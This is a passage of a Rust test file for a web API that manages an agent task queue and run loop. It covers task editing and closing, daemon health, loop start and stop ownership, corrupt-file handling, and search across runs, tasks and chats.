11175 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
11176 )
11177 .await;
11178 assert_eq!(forced.status, 200, "{}", forced.body);
11179 }
11180
11181 #[tokio::test]
11182 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
11183 let f = Fixture::start().await;
11184 let queue = f.queue();
11185 let mut task = Task::new(
11186 "in flight".to_owned(),
11187 "do not touch".to_owned(),
11188 PathBuf::from("/repo/magi"),
11189 Source::Human,
11190 );
11191 task.start("20260902-140502-bbbb".to_owned());
11192 queue.put(&mut task).expect("file the task");
11193
11194 let res = f
11195 .post(
11196 &format!("/api/queue/{}/edit", task.id),
11197 Some(r#"{"title":"x","instruction":"y"}"#),
11198 )
11199 .await;
11200 assert_eq!(res.status, 400, "{}", res.body);
11201 assert!(
11202 res.json()["error"]
11203 .as_str()
11204 .is_some_and(|e| e.contains("running")),
11205 "{}",
11206 res.body
11207 );
11208 assert_eq!(
11209 queue.get(&task.id).expect("reload").instruction,
11210 "do not touch",
11211 "the refused edit must not change the file"
11212 );
11213 }
11214
11215 #[tokio::test]
11216 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
11217 let f = Fixture::start().await;
11218 let queue = f.queue();
11219 let mut task = Task::new(
11220 "busy".to_owned(),
11221 "Running right now".to_owned(),
11222 PathBuf::from("/repo/magi"),
11223 Source::Human,
11224 );
11225 queue.put(&mut task).expect("file the task");
11226 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
11227
11228 let priority = f
11229 .post(
11230 &format!("/api/queue/{}/priority", task.id),
11231 Some(r#"{"priority":9}"#),
11232 )
11233 .await;
11234 assert_eq!(priority.status, 409, "{}", priority.body);
11235
11236 let edit = f
11237 .post(
11238 &format!("/api/queue/{}/edit", task.id),
11239 Some(r#"{"title":"x","instruction":"y"}"#),
11240 )
11241 .await;
11242 assert_eq!(edit.status, 409, "{}", edit.body);
11243 }
11244
11245 #[tokio::test]
11246 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
11247 let f = Fixture::start().await;
11248 let queue = f.queue();
11249 let mut task = Task::new(
11250 "shipped by hand".to_owned(),
11251 "merged outside the loop".to_owned(),
11252 PathBuf::from("/repo/magi"),
11253 Source::Agent {
11254 run: "20260101-000000-b455".to_owned(),
11255 node: "implement".to_owned(),
11256 },
11257 );
11258 task.runs.push("20260101-000000-b455".to_owned());
11259 task.runs.push("20260101-000000-9af4".to_owned());
11260 queue.put(&mut task).expect("file the task");
11261 let created_at = task.created_at;
11262
11263 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11264 assert_eq!(done.status, 200, "{}", done.body);
11265 assert_eq!(done.json()["status_str"], "done");
11266
11267 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
11268 assert_eq!(
11269 reloaded.runs,
11270 ["20260101-000000-b455", "20260101-000000-9af4"]
11271 );
11272 assert_eq!(
11273 reloaded.source,
11274 Source::Agent {
11275 run: "20260101-000000-b455".to_owned(),
11276 node: "implement".to_owned(),
11277 }
11278 );
11279 assert_eq!(reloaded.created_at, created_at);
11280 }
11281
11282 #[tokio::test]
11283 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
11284 let f = Fixture::start().await;
11289 let queue = f.queue();
11290 let mut task = Task::new(
11291 "landed while held".to_owned(),
11292 "x".to_owned(),
11293 PathBuf::from("/repo/magi"),
11294 Source::Human,
11295 );
11296 task.hold_manual(Some("waiting on 3ed9".to_owned()));
11297 queue.put(&mut task).expect("file the held task");
11298
11299 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11300 assert_eq!(done.status, 200, "{}", done.body);
11301 assert_eq!(done.json()["status_str"], "done");
11302 assert!(
11303 done.json()["hold_reason"].is_null(),
11304 "a done task cannot still be waiting on something: {}",
11305 done.body
11306 );
11307 }
11308
11309 #[tokio::test]
11310 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
11311 let f = Fixture::start().await;
11316 let queue = f.queue();
11317 let runs = f.runs();
11318 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
11319 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
11323
11324 let mut task = Task::new(
11325 "landed by hand".to_owned(),
11326 "x".to_owned(),
11327 PathBuf::from("/repo/magi"),
11328 Source::Human,
11329 );
11330 task.runs.push("20260101-000000-doa1".to_owned());
11331 task.runs.push("20260101-000000-doa2".to_owned());
11332 queue.put(&mut task).expect("file the task");
11333
11334 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11335 assert_eq!(done.status, 200, "{}", done.body);
11336
11337 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
11338 .expect("run still on disk under this fixture's own home");
11339 assert_eq!(
11340 reloaded_run.status,
11341 RunStatus::Superseded,
11342 "closing the task by hand must relabel the earlier blocked attempt exactly \
11343 like the loop's own settle path does"
11344 );
11345 }
11346
11347 #[tokio::test]
11348 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
11349 let f = Fixture::start().await;
11354 let queue = f.queue();
11355 let runs = f.runs();
11356 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
11357 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
11358
11359 let mut task = Task::new(
11360 "closed with nothing actually landed".to_owned(),
11361 "x".to_owned(),
11362 PathBuf::from("/repo/magi"),
11363 Source::Human,
11364 );
11365 task.runs.push("20260101-000000-dob1".to_owned());
11366 task.runs.push("20260101-000000-dob2".to_owned());
11367 queue.put(&mut task).expect("file the task");
11368
11369 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11370 assert_eq!(done.status, 200, "{}", done.body);
11371
11372 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
11373 .expect("run still on disk under this fixture's own home");
11374 assert_eq!(
11375 reloaded_run.status,
11376 RunStatus::Blocked,
11377 "the last recorded attempt never landed, so the earlier one must not be \
11378 relabelled as superseded by it"
11379 );
11380 }
11381
11382 #[tokio::test]
11383 async fn unknown_ids_are_json_not_found_on_both_stores() {
11384 let f = Fixture::start().await;
11385
11386 let run = f.get("/api/runs/nosuchrun").await;
11387 let task = f.post("/api/queue/nosuchtask/hold", None).await;
11388
11389 assert_eq!(run.status, 404);
11390 assert_eq!(task.status, 404);
11391 assert!(
11392 run.json()["error"]
11393 .as_str()
11394 .is_some_and(|e| e.contains("run")),
11395 "the error names what was not found: {}",
11396 run.body
11397 );
11398 assert!(
11399 task.json()["error"]
11400 .as_str()
11401 .is_some_and(|e| e.contains("task")),
11402 "the error names what was not found: {}",
11403 task.body
11404 );
11405 }
11406
11407 #[tokio::test]
11408 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
11409 let f = Fixture::start().await;
11410
11411 let missing = f.get("/api/health").await.json();
11412 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
11413
11414 write_daemon(
11415 f.home.path(),
11416 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11417 );
11418 let stale = f.get("/api/health").await.json();
11419 assert_eq!(
11420 stale["daemon"]["running"], false,
11421 "a minute without a heartbeat is a dead daemon, not a busy one"
11422 );
11423 assert!(
11424 stale["daemon"]["stale_for_secs"]
11425 .as_i64()
11426 .is_some_and(|s| s >= 55),
11427 "staleness is reported so the UI can say how long: {stale}"
11428 );
11429
11430 write_daemon(f.home.path(), Timestamp::now());
11431 let fresh = f.get("/api/health").await.json();
11432 assert_eq!(fresh["daemon"]["running"], true);
11433 assert_eq!(fresh["daemon"]["idle"], false);
11434 assert_eq!(fresh["daemon"]["pid"], 4242);
11435 assert_eq!(fresh["daemon"]["completed"], 7);
11436 assert_eq!(
11437 fresh["daemon"]["current"][0]["task"],
11438 "20260902-140501-aaaa"
11439 );
11440 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
11441 }
11442
11443 #[tokio::test]
11444 async fn the_loop_is_not_running_until_something_starts_it() {
11445 let f = Fixture::start().await;
11446
11447 let view = f.get("/api/loop").await.json();
11448 assert_eq!(view["running"], false);
11449 assert_eq!(
11450 view["owned"], false,
11451 "nobody owns a loop that does not exist: {view}"
11452 );
11453 assert_eq!(view["stopping"], false);
11454 assert_eq!(view["last_error"], Value::Null);
11455 assert_eq!(view["daemon"]["running"], false);
11456 assert_eq!(
11457 view["repo"], "/repo/magi",
11458 "the repository a start would use, named before it is started"
11459 );
11460 }
11461
11462 #[tokio::test]
11463 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
11464 let f = Fixture::start().await;
11465
11466 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11467 assert_eq!(res.status, 200, "{}", res.body);
11468 let view = res.json();
11469 assert_eq!(view["running"], true);
11470 assert_eq!(
11471 view["owned"], true,
11472 "the loop the UI started is the UI's own to stop: {view}"
11473 );
11474 assert_eq!(
11475 view["merge"],
11476 Value::Null,
11477 "no override was given, so each repository's own config decides"
11478 );
11479
11480 let health = f.get("/api/health").await.json();
11484 assert_eq!(health["loop"]["running"], true, "{health}");
11485 assert_eq!(health["loop"]["owned"], true, "{health}");
11486
11487 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11488 }
11489
11490 #[tokio::test]
11491 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
11492 let f = Fixture::start().await;
11493 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11494 assert_eq!(first.status, 200, "{}", first.body);
11495
11496 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11497 assert_eq!(
11498 again.status, 409,
11499 "two loops on one queue race for the same claims: {}",
11500 again.body
11501 );
11502 assert!(
11503 again.json()["error"]
11504 .as_str()
11505 .is_some_and(|e| e.contains("already running the loop")),
11506 "the refusal has to say why: {}",
11507 again.body
11508 );
11509 assert_eq!(
11510 f.get("/api/loop").await.json()["running"],
11511 true,
11512 "and the loop that was already running is untouched by it"
11513 );
11514
11515 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11516 }
11517
11518 #[tokio::test]
11519 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11520 let f = Fixture::start().await;
11521 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11522
11523 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11524 assert_eq!(
11525 res.status, 200,
11526 "the answer must not wait for the loop: a run in flight is tens of \
11527 minutes and the operator is holding a phone: {}",
11528 res.body
11529 );
11530
11531 let view = settled(&f, |v| v["running"] == false).await;
11532 assert_eq!(view["owned"], false);
11533 assert_eq!(
11534 view["stopping"], false,
11535 "a loop that has stopped is not still stopping: {view}"
11536 );
11537 assert_eq!(
11538 view["last_error"],
11539 Value::Null,
11540 "a loop that was asked to stop did not fail: {view}"
11541 );
11542
11543 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11546 assert_eq!(twice.status, 200, "{}", twice.body);
11547 }
11548
11549 #[tokio::test]
11550 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11551 let f = Fixture::start().await;
11552 write_daemon(f.home.path(), Timestamp::now());
11555
11556 let view = f.get("/api/loop").await.json();
11557 assert_eq!(view["running"], false, "not in this process: {view}");
11558 assert_eq!(view["owned"], false, "and not this process's to control");
11559 assert_eq!(
11560 view["daemon"]["running"], true,
11561 "but a loop is alive somewhere, which is what the UI must say"
11562 );
11563 assert_eq!(view["daemon"]["pid"], 4242);
11564
11565 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11566 let res = f.post("/api/loop", Some(body)).await;
11567 assert_eq!(
11568 res.status, 409,
11569 "neither button may pretend to work on someone else's loop: {}",
11570 res.body
11571 );
11572 assert!(
11573 res.json()["error"]
11574 .as_str()
11575 .is_some_and(|e| e.contains("4242")),
11576 "the refusal has to name the process the operator must go to: {}",
11577 res.body
11578 );
11579 }
11580 assert_eq!(
11581 f.get("/api/loop").await.json()["running"],
11582 false,
11583 "and the refusal started nothing"
11584 );
11585 }
11586
11587 #[tokio::test]
11588 async fn a_stale_status_file_is_not_a_foreign_owner() {
11589 let f = Fixture::start().await;
11590 write_daemon(
11591 f.home.path(),
11592 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11593 );
11594
11595 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11596 assert_eq!(
11597 res.status, 200,
11598 "a daemon killed a minute ago must not lock the loop out of its \
11599 own home for good: {}",
11600 res.body
11601 );
11602 assert_eq!(res.json()["running"], true);
11603
11604 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11605 }
11606
11607 #[tokio::test]
11608 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11609 let f = Fixture::start().await;
11610 let before = f.get("/api/health").await.json()["loop_rev"]
11611 .as_u64()
11612 .expect("a loop revision");
11613
11614 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11615
11616 let after = f.get("/api/health").await.json()["loop_rev"]
11617 .as_u64()
11618 .expect("a loop revision");
11619 assert!(
11620 after > before,
11621 "the loop is in-process state, so this counter is the only thing \
11622 that tells a second device the first one started it: {before} -> \
11623 {after}"
11624 );
11625
11626 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11627 }
11628
11629 #[tokio::test]
11630 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11631 let f = Fixture::with_loop(launch_broken).await;
11632
11633 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11634 assert_eq!(
11635 res.status, 200,
11636 "starting it is not the failure: {}",
11637 res.body
11638 );
11639
11640 let view = settled(&f, |v| v["last_error"].is_string()).await;
11641 assert_eq!(
11642 view["running"], false,
11643 "a loop that died must not read as running, or the operator has \
11644 nothing to press: {view}"
11645 );
11646 assert_eq!(view["owned"], false);
11647 assert!(
11648 view["last_error"]
11649 .as_str()
11650 .is_some_and(|e| e.contains("read-only file system")),
11651 "the phone is where a loop that died at 3am is visible: {view}"
11652 );
11653
11654 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11657 assert_eq!(again.status, 200, "{}", again.body);
11658 assert!(
11659 again.json()["last_error"]
11660 .as_str()
11661 .is_none_or(|e| !e.contains("read-only file system")),
11662 "a fresh start does not keep showing why the last one died: {}",
11663 again.body
11664 );
11665 }
11666
11667 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
11679 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
11680 let home = TempDir::new().expect("temp home");
11681 let runs = home.path().join("runs");
11682 std::fs::create_dir_all(&runs).expect("runs dir");
11683 let ui = Ui::new(
11684 Queue::at(home.path().join("queue")),
11685 Questions::at(home.path().join("questions")),
11686 Talks::at(home.path().join("talks")),
11687 runs,
11688 home.path().to_path_buf(),
11689 PathBuf::from("/repo/magi"),
11690 )
11691 .with_worktrees_root(home.path().join("wt"))
11692 .with_launch(launch_knocking_on_the_way_out);
11693 let looping = ui.looping();
11694 let turns = ui.turns();
11695 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11696 .await
11697 .expect("bind loopback");
11698 let addr = listener.local_addr().expect("local addr");
11699 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
11700 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11701
11702 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
11703 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
11704
11705 let bound = std::sync::Mutex::new(None);
11720 hand_over(
11721 home.path(),
11722 &looping,
11723 &turns,
11724 &|_: &[String]| Duration::from_secs(5),
11725 served,
11726 |_| {
11727 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11728 let attempt = loop {
11729 match std::net::TcpListener::bind(addr) {
11730 Ok(l) => {
11731 drop(l);
11732 break Ok(());
11733 }
11734 Err(e)
11735 if e.kind() == std::io::ErrorKind::AddrInUse
11736 && std::time::Instant::now() < deadline =>
11737 {
11738 std::thread::sleep(std::time::Duration::from_millis(10));
11739 }
11740 Err(e) => break Err(e.to_string()),
11741 }
11742 };
11743 *bound.lock().expect("bound") = Some(attempt);
11744 Ok(1)
11745 },
11746 )
11747 .await
11748 .expect("hand over");
11749
11750 assert_eq!(
11751 *PARK_HEARD.lock().expect("park heard"),
11752 Some(200),
11753 "the deck must answer while the loop is parking"
11754 );
11755 let attempt = bound
11756 .lock()
11757 .expect("bound")
11758 .take()
11759 .expect("the successor was started");
11760 assert!(
11761 attempt.is_ok(),
11762 "and the address must be free by the time it is: {attempt:?}"
11763 );
11764 }
11765
11766 #[tokio::test]
11767 async fn a_newer_daemon_status_file_still_renders() {
11768 let f = Fixture::start().await;
11769 std::fs::write(
11772 f.home.path().join("daemon.json"),
11773 serde_json::json!({
11774 "schema": 2,
11775 "updated_at": Timestamp::now().to_string(),
11776 "idle": true,
11777 "surprise": { "nested": [1, 2, 3] },
11778 })
11779 .to_string(),
11780 )
11781 .expect("write daemon.json");
11782
11783 let health = f.get("/api/health").await;
11784
11785 assert_eq!(health.status, 200);
11786 assert_eq!(health.json()["daemon"]["running"], true);
11787 }
11788
11789 #[tokio::test]
11790 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11791 let f = Fixture::start().await;
11792 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11793 let broken = f.runs().join("20260902-140502-bad");
11794 std::fs::create_dir_all(&broken).expect("run dir");
11795 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11796
11797 let list = f.get("/api/runs").await;
11798 let detail = f.get("/api/runs/20260902-140502-bad").await;
11799
11800 assert_eq!(list.status, 200);
11801 let listed = list.json();
11802 let ids: Vec<&str> = listed
11803 .as_array()
11804 .expect("an array")
11805 .iter()
11806 .map(|r| r["id"].as_str().expect("an id"))
11807 .collect();
11808 assert_eq!(
11809 ids,
11810 vec!["20260902-140501-good"],
11811 "one unreadable run must not cost the operator the whole history"
11812 );
11813 assert_eq!(detail.status, 500);
11814 assert!(
11815 detail.json()["error"]
11816 .as_str()
11817 .is_some_and(|e| e.contains("run.json")),
11818 "the failure names the file to look at: {}",
11819 detail.body
11820 );
11821 let health = f.get("/api/health").await;
11825 assert_eq!(health.json()["runs_unreadable"], 1);
11826 }
11827
11828 #[tokio::test]
11830 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11831 let f = Fixture::start().await;
11832 let runs = f.runs();
11833 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11834 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11835 let path = runs.join("20260902-140502-bbbb").join("run.json");
11838 let mut v: serde_json::Value =
11839 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11840 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11841 std::fs::write(&path, v.to_string()).unwrap();
11842 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11843 std::fs::write(
11844 runs.join("20260902-140503-cccc").join("run.json"),
11845 "{ not json",
11846 )
11847 .unwrap();
11848
11849 let res = f.get("/api/search?scope=runs&q=quokka").await;
11850 assert_eq!(res.status, 200, "{}", res.body);
11851 let v = res.json();
11852 assert_eq!(v["total"], 1, "{v}");
11853 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11854 assert_eq!(v["hits"][0]["field"], "text");
11855 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11856 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11857 assert!(
11858 parts
11859 .iter()
11860 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11861 "{v}"
11862 );
11863 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11864 assert_eq!(
11865 flat, "The Quokka leaks across threads",
11866 "whitespace is collapsed"
11867 );
11868
11869 let both = f
11871 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11872 .await
11873 .json();
11874 assert_eq!(both["total"], 1, "{both}");
11875 let neither = f
11876 .get("/api/search?scope=runs&q=quokka%20zebra")
11877 .await
11878 .json();
11879 assert_eq!(neither["total"], 0, "{neither}");
11880 let stmt = f
11882 .get("/api/search?scope=runs&q=mobile%20first")
11883 .await
11884 .json();
11885 assert_eq!(stmt["total"], 2, "{stmt}");
11886 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11887 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11888 }
11889
11890 #[test]
11891 fn snippet_ignores_terms_longer_than_the_field() {
11892 let terms = ["ok".to_owned(), "elephant".to_owned()];
11893 let parts = snippet_of("ok", &terms);
11894 assert_eq!(
11895 parts,
11896 vec![SnippetPart {
11897 text: "ok".to_owned(),
11898 hit: true
11899 }]
11900 );
11901 }
11902
11903 #[test]
11904 fn snippet_marks_matches_longer_than_the_window() {
11905 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11906 let hit_len = |parts: &[SnippetPart]| -> usize {
11907 parts
11908 .iter()
11909 .filter(|p| p.hit)
11910 .map(|p| p.text.chars().count())
11911 .sum()
11912 };
11913 let total =
11914 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11915
11916 let long = "a".repeat(120);
11917 let parts = snippet_of(&long, std::slice::from_ref(&long));
11918 assert!(hit_len(&parts) > 0, "{parts:?}");
11919 assert!(total(&parts) <= cap);
11920
11921 let ja = "あ".repeat(130);
11922 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11923 assert!(hit_len(&parts) > 0, "{parts:?}");
11924 assert!(total(&parts) <= cap);
11925
11926 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11928 let term = format!("ab{}", "c".repeat(100));
11929 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11930 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11931 assert!(total(&parts) <= cap);
11932
11933 let text = format!("{}z", "a".repeat(119));
11935 let parts = snippet_of(&text, &["a".repeat(120)]);
11936 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11937 }
11938
11939 #[tokio::test]
11940 async fn search_caps_hits_and_snippet_length() {
11941 let f = Fixture::start().await;
11942 let runs = f.runs();
11943 for n in 0..(SEARCH_MAX_HITS + 5) {
11944 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11945 }
11946 let v = f.get("/api/search?scope=runs&q=web").await.json();
11947 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11948 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11949 assert_eq!(v["truncated"], true);
11950 assert!(
11952 v["hits"]
11953 .as_array()
11954 .unwrap()
11955 .iter()
11956 .all(|h| h["run"]["status"] == "merged")
11957 );
11958
11959 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11960 let parts = snippet_of(&long, &["needle".to_owned()]);
11961 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11962 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11963 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11964 }
11965
11966 #[tokio::test]
11967 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11968 let f = Fixture::start().await;
11969 let queue = f.queue();
11970 let mut t = Task::new(
11971 "short title".to_owned(),
11972 "line one\nthe hidden Armadillo detail".to_owned(),
11973 PathBuf::from("/repo/magi"),
11974 Source::Agent {
11975 run: "r1".to_owned(),
11976 node: "chat".to_owned(),
11977 },
11978 );
11979 t.last_error = Some("disk full on /tmp".to_owned());
11980 queue.put(&mut t).expect("file the task");
11981
11982 for (q, want) in [
11983 ("armadillo", 1),
11984 ("disk%20FULL", 1),
11985 ("chat", 1),
11986 ("queued", 1),
11987 ("short%20nothing", 0),
11988 ] {
11989 let v = f
11990 .get(&format!("/api/search?scope=tasks&q={q}"))
11991 .await
11992 .json();
11993 assert_eq!(v["total"], want, "{q}: {v}");
11994 }
11995 for bad in [
11996 "/api/search?scope=tasks&q=",
11997 "/api/search?scope=tasks&q=%20",
11998 "/api/search?scope=chats&q=",
11999 "/api/search?scope=chats&q=%20",
12000 "/api/search?scope=nope&q=a",
12001 "/api/search?q=a",
12002 ] {
12003 assert_eq!(f.get(bad).await.status, 400, "{bad}");
12004 }
12005 }
12006
12007 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
12009 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
12010 .expect("seat value");
12011 let turns: Vec<serde_json::Value> = turns
12012 .iter()
12013 .map(|(who, body)| {
12014 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
12015 })
12016 .collect();
12017 let doc = serde_json::json!({
12018 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
12019 "status": status, "turns": turns,
12020 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
12021 "seat": seat,
12022 });
12023 let dir = f.home.path().join("talks");
12024 std::fs::create_dir_all(&dir).expect("talks dir");
12025 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
12026 }
12027
12028 #[tokio::test]
12029 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
12030 let f = Fixture::start().await;
12031 write_talk(
12032 &f,
12033 "20260901-000001-aaaa",
12034 "open",
12035 &[
12036 (
12037 "operator",
12038 "\n Why does the Pangolin cache expire?\nsecond line",
12039 ),
12040 ("agent", "Because the TTL is thirty seconds."),
12041 ],
12042 );
12043 write_talk(
12044 &f,
12045 "20260901-000002-bbbb",
12046 "closed",
12047 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
12048 );
12049 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
12050
12051 let search = |q: &'static str| {
12052 let f = &f;
12053 async move {
12054 f.get(&format!("/api/search?scope=chats&q={q}"))
12055 .await
12056 .json()
12057 }
12058 };
12059
12060 let v = search("PANGOLIN").await;
12061 assert_eq!(v["scope"], "chats");
12062 assert_eq!(v["total"], 1, "{v}");
12063 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
12064 assert_eq!(v["hits"][0]["field"], "title");
12065 assert_eq!(v["unreadable"], 1, "{v}");
12066 let marked: Vec<&str> = v["hits"][0]["snippet"]
12067 .as_array()
12068 .unwrap()
12069 .iter()
12070 .filter(|p| p["hit"] == true)
12071 .map(|p| p["text"].as_str().unwrap())
12072 .collect();
12073 assert_eq!(marked, ["Pangolin"]);
12074
12075 let v = search("zebra").await;
12077 assert_eq!(v["total"], 1, "{v}");
12078 assert_eq!(v["hits"][0]["field"], "agent");
12079 assert_eq!(search("pangolin%20thirty").await["total"], 1);
12081 assert_eq!(search("pangolin%20zebra").await["total"], 0);
12082 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
12084 assert_eq!(search(q).await["total"], 0, "{q}");
12085 }
12086 assert_eq!(search("second").await["hits"][0]["field"], "operator");
12088 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
12090
12091 let v = f.get("/api/search?scope=nope&q=a").await;
12092 assert_eq!(v.status, 400);
12093 assert!(
12094 v.body.contains("scope must be runs, tasks or chats"),
12095 "{}",
12096 v.body
12097 );
12098 }
12099
12100 #[test]
12101 fn a_question_card_links_a_task_id_to_the_task_page() {
12102 let start = APP_JS
12103 .find("function updateAskCard(")
12104 .expect("updateAskCard exists");
12105 let body = &APP_JS[start..];
12106 let body = &body[..body.find("\n}\n").expect("function end")];
12107 assert!(body.contains("question.run_is_task"));
12108 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
12109 assert!(body.contains("`#/runs/${question.run}`"));
12110 assert!(body.contains("\"task\" : \"run\""));
12111 }
12112
12113 #[test]
12114 fn plain_text_message_surfaces_go_through_linkify() {
12115 assert!(APP_JS.contains("function linkify("));
12116 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
12117 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
12118 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
12119 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
12120 assert!(!APP_JS.contains("innerHTML = text"));
12121 }
12122
12123 #[test]
12124 fn stats_bars_share_one_id_keyed_plan() {
12125 let start = APP_JS
12126 .find("function statsBarRows(")
12127 .expect("statsBarRows exists");
12128 let body = &APP_JS[start..];
12129 let body = &body[..body.find("\n}\n").expect("function end")];
12130 assert!(body.contains("statsBarPlan(rows)"));
12131 assert!(body.contains("statsAgentTone(row.agent)"));
12132 assert!(!body.contains("candTone(i)"));
12133 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
12134 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
12135 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
12136 }
12137 }
12138
12139 #[test]
12140 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
12141 let start = APP_JS
12142 .find("function renderStatsReviewerScatter(")
12143 .expect("renderStatsReviewerScatter exists");
12144 let body = &APP_JS[start..];
12145 let body = &body[..body.find("\n}\n").expect("function end")];
12146 assert!(body.contains("statsScatterPlan(reviewers)"));
12147 assert!(body.contains("statsAgentTone(d.agent)"));
12148 assert!(APP_JS.contains("function statsScatterPlan("));
12149 assert!(
12150 APP_JS.contains("d.submitted < STATS_LOW_N")
12151 || APP_JS.contains("r.submitted < STATS_LOW_N")
12152 );
12153 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
12154 assert!(APP_CSS.contains(".precision-scatter"));
12155 }
12156
12157 #[test]
12158 fn advisor_reflection_is_drawn_as_stacked_segments() {
12159 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
